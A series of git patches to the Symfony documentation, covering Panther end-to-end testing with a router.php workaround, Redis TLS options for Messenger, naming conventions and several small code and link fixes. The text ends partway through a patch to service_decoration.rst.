Fri, 11 Oct 2024 12:55:13 +0200 Subject: [PATCH 460/615] Adopt Snake Case Naming for Route Paths and Names --- contributing/code/standards.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst index 2668269dfcc..b516f835179 100644 --- a/contributing/code/standards.rst +++ b/contributing/code/standards.rst @@ -214,8 +214,8 @@ Naming Conventions * Use `camelCase`_ for PHP variables, function and method names, arguments (e.g. ``$acceptableContentTypes``, ``hasSession()``); -* Use `snake_case`_ for configuration parameters and Twig template variables - (e.g. ``framework.csrf_protection``, ``http_status_code``); +Use `snake_case`_ for configuration parameters, route names and Twig template + variables (e.g. ``framework.csrf_protection``, ``http_status_code``); * Use SCREAMING_SNAKE_CASE for constants (e.g. ``InputArgument::IS_ARRAY``); From f2a68b5a4a23a2497296daaada263118597a5350 Mon Sep 17 00:00:00 2001 From: Benjamin Georgeault <bgeorgeault@wedgesama.fr> Date: Mon, 14 Oct 2024 10:19:51 +0200 Subject: [PATCH 461/615] Add info about troubleshooting assets loading with Panther. - Can happen with any requested uri that look like a non `.php` file - Case can happen with AssetMapper. --- testing/end_to_end.rst | 51 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst index eede672bfce..bf7cebf86ef 100644 --- a/testing/end_to_end.rst +++ b/testing/end_to_end.rst @@ -799,6 +799,55 @@ variable to ``false`` in your style file: $enable-smooth-scroll: false; +Assets not loading (PHP built-in server only) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You may face cases where your assets are not loaded while running your tests. +Because Panther use the `PHP built-in server`_ to serve your app, if your assets files +(or any requested URI that not a ``.php`` file) does not exist in your public directory +(e.g. rendered by your Symfony app), the built-in server will return a 404 not found. + +This can happen when using :doc:`AssetMapper component </frontend/asset_mapper>` +if you let your Symfony app handle your assets in dev environment. + +To solve this, add a ``tests/router.php``:: + + // tests/router.php + if (is_file($_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$_SERVER['SCRIPT_NAME'])) { + return false; + } + + $script = 'index.php'; + + $_SERVER = array_merge($_SERVER, $_ENV); + $_SERVER['SCRIPT_FILENAME'] = $_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$script; + + $_SERVER['SCRIPT_NAME'] = \DIRECTORY_SEPARATOR.$script; + $_SERVER['PHP_SELF'] = \DIRECTORY_SEPARATOR.$script; + + require $script; + +Then declare it as a router for Panther server in ``phpunit.xml.dist`` using ``PANTHER_WEB_SERVER_ROUTER`` var: + +.. code-block:: xml + + <!-- phpunit.xml.dist --> + <phpunit> + <!-- ... --> + <php> + <!-- ... --> + <server name="PANTHER_WEB_SERVER_ROUTER" value="../tests/router.php"/> + </php> + </phpunit> + +Credit from `Testing Part 2 Functional Testing on Symfony cast`_ were you can see more about this case. + +.. note:: + + When using :doc:`AssetMapper component </frontend/asset_mapper>`, you can also compile your assets before running + your tests. It will make your tests faster because Symfony will not have to handle them, the built-in server + will serve them directly. + Additional Documentation ------------------------ @@ -825,3 +874,5 @@ documentation: .. _`Gitlab CI`: https://docs.gitlab.com/ee/ci/ .. _`AppVeyor`: https://www.appveyor.com/ .. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle +.. _`PHP built-in server`: https://www.php.net/manual/en/features.commandline.webserver.php +.. _`Testing Part 2 Functional Testing on Symfony cast`: https://symfonycasts.com/screencast/last-stack/testing From 78e0a190a821e952b3b1ff7b9352060e6720e53d Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 14 Oct 2024 12:56:16 +0200 Subject: [PATCH 462/615] Some rewords --- frontend/asset_mapper.rst | 2 ++ testing/end_to_end.rst | 35 +++++++++++++++++------------------ 2 files changed, 19 insertions(+), 18 deletions(-) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index b4d2e5738b8..c9e5d543846 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -77,6 +77,8 @@ If you look at the HTML in your page, the URL will be something like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you change the file, the version part of the URL will also change automatically. +.. _asset-mapper-compile-assets: + Serving Assets in dev vs prod ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst index bf7cebf86ef..cbc5b6880bd 100644 --- a/testing/end_to_end.rst +++ b/testing/end_to_end.rst @@ -799,18 +799,20 @@ variable to ``false`` in your style file: $enable-smooth-scroll: false; -Assets not loading (PHP built-in server only) -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Assets not Loading when Using the PHP Built-In Server +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -You may face cases where your assets are not loaded while running your tests. -Because Panther use the `PHP built-in server`_ to serve your app, if your assets files -(or any requested URI that not a ``.php`` file) does not exist in your public directory -(e.g. rendered by your Symfony app), the built-in server will return a 404 not found. +Sometimes, your assets might not load during tests. This happens because Panther +uses the `PHP built-in server`_ to serve your app. If asset files (or any requested +URI that's not a ``.php`` file) aren't in your public directory, the built-in +server will return a 404 error. This often happens when letting the :doc:`AssetMapper component </frontend/asset_mapper>` +handle your application assets in the ``dev`` environment. -This can happen when using :doc:`AssetMapper component </frontend/asset_mapper>` -if you let your Symfony app handle your assets in dev environment. +One solution when using AssetMapper is to ref:`compile assets <asset-mapper-compile-assets>` +before running your tests. This will also speed up your tests, as Symfony won't +need to handle the assets, allowing the PHP built-in server to serve them directly. -To solve this, add a ``tests/router.php``:: +Another option is to create a file called ``tests/router.php`` and add the following to it:: // tests/router.php if (is_file($_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$_SERVER['SCRIPT_NAME'])) { @@ -827,7 +829,8 @@ To solve this, add a ``tests/router.php``:: require $script; -Then declare it as a router for Panther server in ``phpunit.xml.dist`` using ``PANTHER_WEB_SERVER_ROUTER`` var: +Then declare it as a router for Panther server in ``phpunit.xml.dist`` using the +``PANTHER_WEB_SERVER_ROUTER`` environment variable: .. code-block:: xml @@ -836,17 +839,13 @@ Then declare it as a router for Panther server in ``phpunit.xml.dist`` using ``P <!-- ... --> <php> <!-- ... --> - <server name="PANTHER_WEB_SERVER_ROUTER" value="../tests/router.php"/> + <server name="PANTHER_WEB_SERVER_ROUTER" value="./tests/router.php"/> </php> </phpunit> -Credit from `Testing Part 2 Functional Testing on Symfony cast`_ were you can see more about this case. +.. seealso:: -.. note:: - - When using :doc:`AssetMapper component </frontend/asset_mapper>`, you can also compile your assets before running - your tests. It will make your tests faster because Symfony will not have to handle them, the built-in server - will serve them directly. + See the `Functional Testing tutorial`_ on SymfonyCasts. Additional Documentation ------------------------ @@ -875,4 +874,4 @@ documentation: .. _`AppVeyor`: https://www.appveyor.com/ .. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle .. _`PHP built-in server`: https://www.php.net/manual/en/features.commandline.webserver.php -.. _`Testing Part 2 Functional Testing on Symfony cast`: https://symfonycasts.com/screencast/last-stack/testing +.. _`Functional Testing tutorial`: https://symfonycasts.com/screencast/last-stack/testing From 887e4d33654c1c1a1439223fa4716cb4d1076614 Mon Sep 17 00:00:00 2001 From: Tarjei Huse <tarjei@asku.no> Date: Mon, 5 Aug 2024 11:47:36 +0200 Subject: [PATCH 463/615] [Messenger] Document SSL options for Redis --- messenger.rst | 30 ++++++++++++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) diff --git a/messenger.rst b/messenger.rst index 57163f3b60f..c2ab35292be 100644 --- a/messenger.rst +++ b/messenger.rst @@ -1690,10 +1690,36 @@ read_timeout Float, value in seconds ``0`` timeout Connection timeout. Float, value in ``0`` seconds default indicates unlimited sentinel_master String, if null or empty Sentinel null - support is disabled +redis_sentinel support is disabled +ssl Map of TLS options. null ======================= ===================================== ================================= -.. versionadded:: 6.1 +SSL options +----------- + +The SSL options can be used change requirements for the TLS channel: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/test/messenger.yaml + framework: + messenger: + transports: + redis: + dsn: "rediss://localhost" + options: + ssl: + allow_self_signed: true + capture_peer_cert: true + capture_peer_cert_chain: true + disable_compression: true + SNI_enabled: true + verify_peer: true + verify_peer_name: true + +.. versionadded:: 7.1 The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and ``sentinel_master`` options were introduced in Symfony 6.1. From 75e5c99d09db2d9c7343908db5fc161d34802f36 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 14 Oct 2024 16:27:16 +0200 Subject: [PATCH 464/615] Minor tweak --- messenger.rst | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/messenger.rst b/messenger.rst index c2ab35292be..6399c2a64dd 100644 --- a/messenger.rst +++ b/messenger.rst @@ -1694,10 +1694,7 @@ redis_sentinel support is disabled ssl Map of TLS options. null ======================= ===================================== ================================= -SSL options ------------ - -The SSL options can be used change requirements for the TLS channel: +The ``ssl`` option can be used to change requirements for the TLS channel, e.g. in tests: .. configuration-block:: From 967930cbeea98e1c8effe8e9bf5cb5260a826963 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 14 Oct 2024 16:30:38 +0200 Subject: [PATCH 465/615] [Messenger] Minor doc fix --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index 6399c2a64dd..4c1251cf656 100644 --- a/messenger.rst +++ b/messenger.rst @@ -1716,7 +1716,7 @@ The ``ssl`` option can be used to change requirements for the TLS channel, e.g. verify_peer: true verify_peer_name: true -.. versionadded:: 7.1 +.. versionadded:: 6.1 The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and ``sentinel_master`` options were introduced in Symfony 6.1. From cede098aae36cc84e9e96186123d6714c02935e9 Mon Sep 17 00:00:00 2001 From: Javier Spagnoletti <phansys@gmail.com> Date: Mon, 14 Oct 2024 13:00:15 -0300 Subject: [PATCH 466/615] [Testing] Fix `:ref:` link --- testing/end_to_end.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst index cbc5b6880bd..e43f5fa2be2 100644 --- a/testing/end_to_end.rst +++ b/testing/end_to_end.rst @@ -808,7 +808,7 @@ URI that's not a ``.php`` file) aren't in your public directory, the built-in server will return a 404 error. This often happens when letting the :doc:`AssetMapper component </frontend/asset_mapper>` handle your application assets in the ``dev`` environment. -One solution when using AssetMapper is to ref:`compile assets <asset-mapper-compile-assets>` +One solution when using AssetMapper is to :ref:`compile assets <asset-mapper-compile-assets>` before running your tests. This will also speed up your tests, as Symfony won't need to handle the assets, allowing the PHP built-in server to serve them directly. From f39f6576b458adf4ab04726066f921557a7041cb Mon Sep 17 00:00:00 2001 From: Javier Spagnoletti <phansys@gmail.com> Date: Mon, 14 Oct 2024 12:50:34 -0300 Subject: [PATCH 467/615] [Messenger] Add reference to PHP docs for SSL context options --- messenger.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index 4c1251cf656..950f4ff1af3 100644 --- a/messenger.rst +++ b/messenger.rst @@ -1694,7 +1694,7 @@ redis_sentinel support is disabled ssl Map of TLS options. null ======================= ===================================== ================================= -The ``ssl`` option can be used to change requirements for the TLS channel, e.g. in tests: +The ``ssl`` option can be used to provide SSL context options (`php.net/context.ssl`_) for the TLS channel, e.g. in tests: .. configuration-block:: @@ -3488,3 +3488,4 @@ Learn more .. _`AMQProxy`: https://github.com/cloudamqp/amqproxy .. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn .. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html +.. _`php.net/context.ssl`: https://php.net/context.ssl From 902d7500886526a147f564d8061a8140d3aa0c45 Mon Sep 17 00:00:00 2001 From: seb-jean <sebastien.jean76@gmail.com> Date: Mon, 14 Oct 2024 20:39:46 +0200 Subject: [PATCH 468/615] Update controller.rst --- controller.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller.rst b/controller.rst index 17cf30e40ef..4fd03948ae2 100644 --- a/controller.rst +++ b/controller.rst @@ -578,7 +578,7 @@ To do so, map the parameter as an array and configure the type of each element using the ``type`` option of the attribute:: public function dashboard( - #[MapRequestPayload(type: UserDTO::class)] array $users + #[MapRequestPayload(type: UserDto::class)] array $users ): Response { // ... From 2f00687e1723ebd8a24437d8f0d653378d1c52b6 Mon Sep 17 00:00:00 2001 From: Christophe Coevoet <stof@notk.org> Date: Tue, 15 Oct 2024 11:52:08 +0200 Subject: [PATCH 469/615] Fix the XML configuration example for enums There is no `type="enum"` in the XML file loader. --- configuration.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/configuration.rst b/configuration.rst index abd7dba9d96..2a5303741c1 100644 --- a/configuration.rst +++ b/configuration.rst @@ -232,7 +232,7 @@ reusable configuration value. By convention, parameters are defined under the <parameter key="app.another_constant" type="constant">App\Entity\BlogPost::MAX_ITEMS</parameter> <!-- Enum case as parameter values --> - <parameter key="app.some_enum" type="enum">App\Enum\PostState::Published</parameter> + <parameter key="app.some_enum" type="constant">App\Enum\PostState::Published</parameter> </parameters> <!-- ... --> From 7fff76bd4fa1367554b959598c505dee6f4489e5 Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Tue, 15 Oct 2024 16:36:14 +0200 Subject: [PATCH 470/615] rename addHeader to setHeader in httpclient --- http_client.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http_client.rst b/http_client.rst index 91b91ebc4a5..bf64026b946 100644 --- a/http_client.rst +++ b/http_client.rst @@ -152,7 +152,7 @@ brings most of the available options with type-hinted getters and setters:: ->setBaseUri('https://...') // replaces *all* headers at once, and deletes the headers you do not provide ->setHeaders(['header-name' => 'header-value']) - // set or replace a single header using addHeader() + // set or replace a single header using setHeader() ->setHeader('another-header-name', 'another-header-value') ->toArray() ); From 714113ceff60c34a186783f6d4163875d1105bc7 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 15 Oct 2024 16:46:08 +0200 Subject: [PATCH 471/615] Minor tweak --- messenger.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/messenger.rst b/messenger.rst index 950f4ff1af3..e3616b49748 100644 --- a/messenger.rst +++ b/messenger.rst @@ -1694,7 +1694,7 @@ redis_sentinel support is disabled ssl Map of TLS options. null ======================= ===================================== ================================= -The ``ssl`` option can be used to provide SSL context options (`php.net/context.ssl`_) for the TLS channel, e.g. in tests: +The ``ssl`` option can be used to provide `SSL context options`_ for the TLS channel, e.g. in tests: .. configuration-block:: @@ -3488,4 +3488,4 @@ Learn more .. _`AMQProxy`: https://github.com/cloudamqp/amqproxy .. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn .. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html -.. _`php.net/context.ssl`: https://php.net/context.ssl +.. _`SSL context options`: https://php.net/context.ssl From dfa089c204920421d41590e40c6d34109e59fbbf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Anderson=20M=C3=BCller?= <anderson.a.muller@gmail.com> Date: Tue, 15 Oct 2024 18:22:45 +0200 Subject: [PATCH 472/615] Fix parameter name in `registerAttributeForAutoconfiguration` example --- service_container/tags.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/service_container/tags.rst b/service_container/tags.rst index 9917cc65204..18f22a9ffa8 100644 --- a/service_container/tags.rst +++ b/service_container/tags.rst @@ -250,7 +250,7 @@ call to support ``ReflectionMethod``:: // update the union type to support multiple types of reflection // you can also use the "\Reflector" interface \ReflectionClass|\ReflectionMethod $reflector): void { - if ($reflection instanceof \ReflectionMethod) { + if ($reflector instanceof \ReflectionMethod) { // ... } } From d0ed00f1411dbb9e392716ba16eb8cff67b6dff1 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 16 Oct 2024 11:10:06 +0200 Subject: [PATCH 473/615] [Messenger] Replace the tables by definition lists --- messenger.rst | 431 +++++++++++++++++++++++++++++--------------------- 1 file changed, 254 insertions(+), 177 deletions(-) diff --git a/messenger.rst b/messenger.rst index e3616b49748..cc5e61d361c 100644 --- a/messenger.rst +++ b/messenger.rst @@ -1406,65 +1406,115 @@ the exchange, queues binding keys and more. See the documentation on The transport has a number of options: -============================================ ================================================= =================================== - Option Description Default -============================================ ================================================= =================================== -``auto_setup`` Whether the exchanges and queues should be ``true`` - created automatically during send / get. -``cacert`` Path to the CA cert file in PEM format. -``cert`` Path to the client certificate in PEM format. -``channel_max`` Specifies highest channel number that the server - permits. 0 means standard extension limit -``confirm_timeout`` Timeout in seconds for confirmation; if none - specified, transport will not wait for message - confirmation. Note: 0 or greater seconds. May be - fractional. -``connect_timeout`` Connection timeout. Note: 0 or greater seconds. - May be fractional. -``frame_max`` The largest frame size that the server proposes - for the connection, including frame header and - end-byte. 0 means standard extension limit - (depends on librabbimq default frame size limit) -``heartbeat`` The delay, in seconds, of the connection - heartbeat that the server wants. 0 means the - server does not want a heartbeat. Note, - librabbitmq has limited heartbeat support, which - means heartbeats checked only during blocking - calls. -``host`` Hostname of the AMQP service -``key`` Path to the client key in PEM format. -``login`` Username to use to connect the AMQP service -``password`` Password to use to connect to the AMQP service -``persistent`` ``'false'`` -``port`` Port of the AMQP service -``read_timeout`` Timeout in for income activity. Note: 0 or - greater seconds. May be fractional. +``auto_setup`` (default: ``true``) + Whether the exchanges and queues should be created automatically during + send / get. + +``cacert`` + Path to the CA cert file in PEM format. + +``cert`` + Path to the client certificate in PEM format. + +``channel_max`` + Specifies highest channel number that the server permits. 0 means standard + extension limit + +``confirm_timeout`` + Timeout in seconds for confirmation; if none specified, transport will not + wait for message confirmation. Note: 0 or greater seconds. May be + fractional. + +``connect_timeout`` + Connection timeout. Note: 0 or greater seconds. May be fractional. + +``frame_max`` + The largest frame size that the server proposes for the connection, + including frame header and end-byte. 0 means standard extension limit + (depends on librabbimq default frame size limit) + +``heartbeat`` + The delay, in seconds, of the connection heartbeat that the server wants. 0 + means the server does not want a heartbeat. Note, librabbitmq has limited + heartbeat support, which means heartbeats checked only during blocking + calls. + +``host`` + Hostname of the AMQP service + +``key`` + Path to the client key in PEM format. + +``login`` + Username to use to connect the AMQP service + +``password`` + Password to use to connect to the AMQP service + +``persistent`` (default: ``'false'``) + Whether the connection is persistent + +``port`` + Port of the AMQP service + +``read_timeout`` + Timeout in for income activity. Note: 0 or greater seconds. May be + fractional. + ``retry`` + (no description available) + ``sasl_method`` -``connection_name`` For custom connection names (requires at least - version 1.10 of the PHP AMQP extension) -``verify`` Enable or disable peer verification. If peer - verification is enabled then the common name in - the server certificate must match the server - name. Peer verification is enabled by default. -``vhost`` Virtual Host to use with the AMQP service -``write_timeout`` Timeout in for outcome activity. Note: 0 or - greater seconds. May be fractional. -``delay[queue_name_pattern]`` Pattern to use to create the queues ``delay_%exchange_name%_%routing_key%_%delay%`` -``delay[exchange_name]`` Name of the exchange to be used for the ``delays`` - delayed/retried messages -``queues[name][arguments]`` Extra arguments -``queues[name][binding_arguments]`` Arguments to be used while binding the queue. -``queues[name][binding_keys]`` The binding keys (if any) to bind to this queue -``queues[name][flags]`` Queue flags ``AMQP_DURABLE`` -``exchange[arguments]`` Extra arguments for the exchange (e.g. - ``alternate-exchange``) -``exchange[default_publish_routing_key]`` Routing key to use when publishing, if none is - specified on the message -``exchange[flags]`` Exchange flags ``AMQP_DURABLE`` -``exchange[name]`` Name of the exchange -``exchange[type]`` Type of exchange ``fanout`` -============================================ ================================================= =================================== + + +``connection_name`` + For custom connection names (requires at least version 1.10 of the PHP AMQP + extension) + +``verify`` + Enable or disable peer verification. If peer verification is enabled then + the common name in the server certificate must match the server name. Peer + verification is enabled by default. + +``vhost`` + Virtual Host to use with the AMQP service + +``write_timeout`` + Timeout in for outcome activity. Note: 0 or greater seconds. May be + fractional. + +``delay[queue_name_pattern]`` (default: ``delay_%exchange_name%_%routing_key%_%delay%``) + Pattern to use to create the queues + +``delay[exchange_name]`` (default: ``delays``) + Name of the exchange to be used for the delayed/retried messages + +``queues[name][arguments]`` + Extra arguments + +``queues[name][binding_arguments]`` + Arguments to be used while binding the queue. + +``queues[name][binding_keys]`` + The binding keys (if any) to bind to this queue + +``queues[name][flags]`` (default: ``AMQP_DURABLE``) + Queue flags + +``exchange[arguments]`` + Extra arguments for the exchange (e.g. ``alternate-exchange``) + +``exchange[default_publish_routing_key]`` + Routing key to use when publishing, if none is specified on the message + +``exchange[flags]`` (default: ``AMQP_DURABLE``) + Exchange flags + +``exchange[name]`` + Name of the exchange + +``exchange[type]`` (default: ``fanout``) + Type of exchange .. versionadded:: 6.1 @@ -1541,28 +1591,26 @@ Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and The transport has a number of options: -================== ===================================== ====================== -Option Description Default -================== ===================================== ====================== -table_name Name of the table messenger_messages -queue_name Name of the queue (a column in the default - table, to use one table for - multiple transports) -redeliver_timeout Timeout before retrying a message 3600 - that's in the queue but in the - "handling" state (if a worker stopped - for some reason, this will occur, - eventually you should retry the - message) - in seconds. -auto_setup Whether the table should be created - automatically during send / get. true -================== ===================================== ====================== +``table_name`` (default: ``messenger_messages``) + Name of the table -.. note:: +``queue_name`` (default: ``default``) + Name of the queue (a column in the table, to use one table for multiple + transports) - Set ``redeliver_timeout`` to a greater value than your slowest message - duration. Otherwise, some messages will start a second time while the - first one is still being handled. +``redeliver_timeout`` (default: ``3600``) + Timeout before retrying a message that's in the queue but in the "handling" + state (if a worker stopped for some reason, this will occur, eventually you + should retry the message) - in seconds. + + .. note:: + + Set ``redeliver_timeout`` to a greater value than your slowest message + duration. Otherwise, some messages will start a second time while the + first one is still being handled. + +``auto_setup`` + Whether the table should be created automatically during send / get. When using PostgreSQL, you have access to the following options to leverage the `LISTEN/NOTIFY`_ feature. This allow for a more performant approach @@ -1570,17 +1618,16 @@ than the default polling behavior of the Doctrine transport because PostgreSQL will directly notify the workers when a new message is inserted in the table. -======================= ========================================== ====================== -Option Description Default -======================= ========================================== ====================== -use_notify Whether to use LISTEN/NOTIFY. true -check_delayed_interval The interval to check for delayed 60000 - messages, in milliseconds. - Set to 0 to disable checks. -get_notify_timeout The length of time to wait for a 0 - response when calling - ``PDO::pgsqlGetNotify``, in milliseconds. -======================= ========================================== ====================== +``use_notify`` (default: ``true``) + Whether to use LISTEN/NOTIFY. + +``check_delayed_interval`` (default: ``60000``) + The interval to check for delayed messages, in milliseconds. Set to 0 to + disable checks. + +``get_notify_timeout`` (default: ``0``) + The length of time to wait for a response when calling + ``PDO::pgsqlGetNotify``, in milliseconds. Beanstalkd Transport ~~~~~~~~~~~~~~~~~~~~ @@ -1604,20 +1651,16 @@ The Beanstalkd transport DSN may looks like this: The transport has a number of options: -================== =================================== ====================== - Option Description Default -================== =================================== ====================== -tube_name Name of the queue default -timeout Message reservation timeout 0 (will cause the - - in seconds. server to immediately - return either a - response or a - TransportException - will be thrown) -ttr The message time to run before it - is put back in the ready queue - - in seconds. 90 -================== =================================== ====================== +``tube_name`` (default: ``default``) + Name of the queue + +``timeout`` (default: ``0``) + Message reservation timeout - in seconds. 0 will cause the server to + immediately return either a response or a TransportException will be thrown. + +``ttr`` (default: ``90``) + The message time to run before it is put back in the ready queue - in + seconds. .. _messenger-redis-transport: @@ -1652,51 +1695,62 @@ The Redis transport DSN may looks like this: A number of options can be configured via the DSN or via the ``options`` key under the transport in ``messenger.yaml``: -======================= ===================================== ================================= -Option Description Default -======================= ===================================== ================================= -stream The Redis stream name messages -group The Redis consumer group name symfony -consumer Consumer name used in Redis consumer -auto_setup Create the Redis group automatically? true -auth The Redis password -delete_after_ack If ``true``, messages are deleted true - automatically after processing them -delete_after_reject If ``true``, messages are deleted true - automatically if they are rejected -lazy Connect only when a connection is false - really needed -serializer How to serialize the final payload ``Redis::SERIALIZER_PHP`` - in Redis (the - ``Redis::OPT_SERIALIZER`` option) -stream_max_entries The maximum number of entries which ``0`` (which means "no trimming") - the stream will be trimmed to. Set - it to a large enough number to - avoid losing pending messages -redeliver_timeout Timeout before retrying a pending ``3600`` - message which is owned by an - abandoned consumer (if a worker died - for some reason, this will occur, - eventually you should retry the - message) - in seconds. -claim_interval Interval on which pending/abandoned ``60000`` (1 Minute) - messages should be checked for to - claim - in milliseconds -persistent_id String, if null connection is null - non-persistent. -retry_interval Int, value in milliseconds ``0`` -read_timeout Float, value in seconds ``0`` - default indicates unlimited -timeout Connection timeout. Float, value in ``0`` - seconds default indicates unlimited -sentinel_master String, if null or empty Sentinel null -redis_sentinel support is disabled -ssl Map of TLS options. null -======================= ===================================== ================================= - -The ``ssl`` option can be used to provide `SSL context options`_ for the TLS channel, e.g. in tests: +``stream`` (default: ``messages``) + The Redis stream name -.. configuration-block:: +``group`` (default: ``symfony``) + The Redis consumer group name + +``consumer`` (default: ``consumer``) + Consumer name used in Redis + +``auto_setup`` (default: ``true``) + Whether to create the Redis group automatically + +``auth`` + The Redis password + +``delete_after_ack`` (default: ``true``) + If ``true``, messages are deleted automatically after processing them + +``delete_after_reject`` (default: ``true``) + If ``true``, messages are deleted automatically if they are rejected + +``lazy`` (default: ``false``) + Connect only when a connection is really needed + +``serializer`` (default: ``Redis::SERIALIZER_PHP``) + How to serialize the final payload in Redis (the ``Redis::OPT_SERIALIZER`` option) + +``stream_max_entries`` (default: ``0``) + The maximum number of entries which the stream will be trimmed to. Set it to + a large enough number to avoid losing pending messages + +``redeliver_timeout`` (default: ``3600``) + Timeout (in seconds) before retrying a pending message which is owned by an abandoned consumer + (if a worker died for some reason, this will occur, eventually you should retry the message). + +``claim_interval`` (default: ``60000``) + Interval on which pending/abandoned messages should be checked for to claim - in milliseconds + +``persistent_id`` (default: ``null``) + String, if null connection is non-persistent. + +``retry_interval`` (default: ``0``) + Int, value in milliseconds + +``read_timeout`` (default: ``0``) + Float, value in seconds default indicates unlimited + +``timeout`` (default: ``0``) + Connection timeout. Float, value in seconds default indicates unlimited + +``sentinel_master`` (default: ``null``) + String, if null or empty Sentinel support is disabled + +``ssl`` (default: ``null``) + Map of `SSL context options`_ for the TLS channel. This is useful for example + to change the requirements for the TLS channel in tests: .. code-block:: yaml @@ -1863,27 +1917,44 @@ The SQS transport DSN may looks like this: The transport has a number of options: -====================== ====================================== =================================== - Option Description Default -====================== ====================================== =================================== -``access_key`` AWS access key must be urlencoded -``account`` Identifier of the AWS account The owner of the credentials -``auto_setup`` Whether the queue should be created ``true`` - automatically during send / get. -``buffer_size`` Number of messages to prefetch 9 -``debug`` If ``true`` it logs all HTTP requests ``false`` - and responses (it impacts performance) -``endpoint`` Absolute URL to the SQS service https://sqs.eu-west-1.amazonaws.com -``poll_timeout`` Wait for new message duration in 0.1 - seconds -``queue_name`` Name of the queue messages -``region`` Name of the AWS region eu-west-1 -``secret_key`` AWS secret key must be urlencoded -``session_token`` AWS session token -``visibility_timeout`` Amount of seconds the message will Queue's configuration - not be visible (`Visibility Timeout`_) -``wait_time`` `Long polling`_ duration in seconds 20 -====================== ====================================== =================================== +``access_key`` + AWS access key (must be urlencoded) + +``account`` (default: The owner of the credentials) + Identifier of the AWS account + +``auto_setup`` (default: ``true``) + Whether the queue should be created automatically during send / get. + +``buffer_size`` (default: ``9``) + Number of messages to prefetch + +``debug`` (default: ``false``) + If ``true`` it logs all HTTP requests and responses (it impacts performance) + +``endpoint`` (default: ``https://sqs.eu-west-1.amazonaws.com``) + Absolute URL to the SQS service + +``poll_timeout`` (default: ``0.1``) + Wait for new message duration in seconds + +``queue_name`` (default: ``messages``) + Name of the queue + +``region`` (default: ``eu-west-1``) + Name of the AWS region + +``secret_key`` + AWS secret key (must be urlencoded) + +``session_token`` + AWS session token + +``visibility_timeout`` (default: Queue's configuration) + Amount of seconds the message will not be visible (`Visibility Timeout`_) + +``wait_time`` (default: ``20``) + `Long polling`_ duration in seconds .. versionadded:: 6.1 @@ -2321,16 +2392,22 @@ with ``messenger.message_handler``. Possible options to configure with tags are: -============================ ==================================================================================================== -Option Description -============================ ==================================================================================================== -``bus`` Name of the bus from which the handler can receive messages, by default all buses. -``from_transport`` Name of the transport from which the handler can receive messages, by default all transports. -``handles`` Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by - type-hint. -``method`` Name of the method that will process the message. -``priority`` Priority of the handler when multiple handlers can process the same message. -============================ ==================================================================================================== +``bus`` + Name of the bus from which the handler can receive messages, by default all buses. + +``from_transport`` + Name of the transport from which the handler can receive messages, by default + all transports. + +``handles`` + Type of messages (FQCN) that can be processed by the handler, only needed if + can't be guessed by type-hint. + +``method`` + Name of the method that will process the message. + +``priority`` + Priority of the handler when multiple handlers can process the same message. .. _handler-subscriber-options: From 776f7e899f3a24fa79245fc9fd193aac3ffef03b Mon Sep 17 00:00:00 2001 From: chx <chx1975@gmail.com> Date: Thu, 15 Sep 2022 12:29:59 -0700 Subject: [PATCH 474/615] Update service_decoration.rst Note service tags. --- service_container/service_decoration.rst | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst index 11e6ed9f8bf..a40d4784e1d 100644 --- a/service_container/service_decoration.rst +++ b/service_container/service_decoration.rst @@ -128,7 +128,9 @@ but keeps 